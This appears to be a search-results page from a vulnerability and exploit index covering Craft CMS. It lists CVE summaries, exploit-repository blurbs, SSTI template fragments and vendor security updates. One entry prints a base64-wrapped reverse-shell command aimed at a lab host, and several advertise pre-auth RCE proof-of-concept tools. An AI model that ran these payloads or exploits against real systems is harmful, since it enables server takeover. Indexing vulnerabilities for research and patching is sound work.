274 matches found
CraftCMS SEOmatic - Server-Side Template Injection
In the SEOmatic plugin up to 3.4.11 for Craft CMS 3, it is possible for unauthenticated attackers to perform a Server-Side. Template Injection, allowing for remote code execution. id: CVE-2021-41749 info: name: CraftCMS SEOmatic - Server-Side Template Injection author: iamnoooob,ritikchaddha...
CVE-2025-32432
CraftCMS CVE-2025-32432 Exploit Toolkit Exploitation tools for CraftCMS Remote Code Execution vulnerability based on SensePost research. 📁 File Description 🎯 Main Tools 1. finalpoc.py - Final optimized POC Supports information disclosure and remote code execution Automatic asset ID discovery...
CVE-2025-32432-PoC
CVE-2025-32432 Exploit Scripts Python PoC Pre-auth Remote Code Execution for CraftCMS 3.x / 4.x / 5.x PoC Maintainer: C.T.Y. research use only Vulnerability Discovery: Nicolas Bourras – Orange Cyberdefense Additional PoC Inspiration: SensePost research & Chirag Artani’s public script 1. Overview...
Craft CMS < 3.3.0 - Server-Side Template Injection
Craft CMS before 3.3.0 is susceptible to server-side template injection via the SEOmatic component that could lead to remote code execution via malformed data submitted to the metacontainers controller. id: CVE-2020-9757 info: name: Craft CMS 3.3.0 - Server-Side Template Injection author:...
PoC_CVE-2025-32432
CraftCMS CVE-2025-32432 - Clean PoC Cleaned-up and improved version of the original Proof of Concept. Credits Original research: Orange Cyberdefense & Chirag Artani Cleaned-up and improved version: n40y License This project is licensed under MIT. See the LICENSE file for more details. Disclaimer...
CVE-2025-32432
CraftCMS CVE-2025-32432 Exploit By Chirag Artani Overview This repository contains a proof-of-concept exploit script for CVE-2025-32432, a pre-authentication Remote Code Execution RCE vulnerability affecting CraftCMS versions 4.x and 5.x. The vulnerability exists in the asset transform generation...
CVE-2025-52122
CVE CraftCMS Freeform CraftCMS Freeform contains an SSTI vulnerability, resulting in arbitrary code injection for all users that have access to editing a form submission title. Vulnerable versions are v5.0.0 test % set form = freeform.form'pentest' % % if form % form.render % else % Form not foun...
CraftCMS < 4.4.15 - Unauthenticated Remote Code Execution
Craft CMS is a platform for creating digital experiences. This is a high-impact, low-complexity attack vector leading to Remote Code Execution RCE. Users running Craft installations before 4.4.15 are encouraged to update to at least that version to mitigate the issue. This issue has been fixed in...
PT-2026-141168
Name of the Vulnerable Software and Affected Versions CraftCMS CMS versions prior to 4.18.9 CraftCMS CMS versions prior to 5.11.2 Description An unauthenticated SQL injection exists on the front end of sites using the element search endpoint. The issue occurs because the attribute parameter is...
craftcms-cve-2025-32432-rce
payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...
CLSA-2026-1793226310 TuxCare security update for craftcms/cms (1 CVE)
TuxCare rebuilt craftcms/cms to address 1 CVE. Fixed in 4.18.9-p2+tuxcare...
CLSA-2026-1793192483 TuxCare security update for craftcms/cms (2 CVEs)
TuxCare rebuilt craftcms/cms to address 2 CVEs. Fixed in 4.18.7-p3+tuxcare...
CLSA-2026-1791989783 TuxCare security update for craftcms/cms (4 CVEs)
TuxCare rebuilt craftcms/cms to address 4 CVEs. Fixed in 4.18.9-p1+tuxcare...
PT-2026-122649
TuxCare rebuilt craftcms/cms to address 3 CVEs. Fixed in 4.18.9-p1+tuxcare...
HackTheBox-Layover
🧰 HTB / Pentest Writeups My personal knowledge base of Hack T...
CraftCMS - Remote Code Execution
Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution. This is a high-impact, low-complexity...
Exploit for CVE-2026-44011
CraftCMS-CVE-2026-44011-PoC-RCE...
CLSA-2026-1790174106 TuxCare security update for craftcms/cms (1 CVE)
TuxCare rebuilt craftcms/cms to address 1 CVE. Fixed in 3.9.15-p10+tuxcare...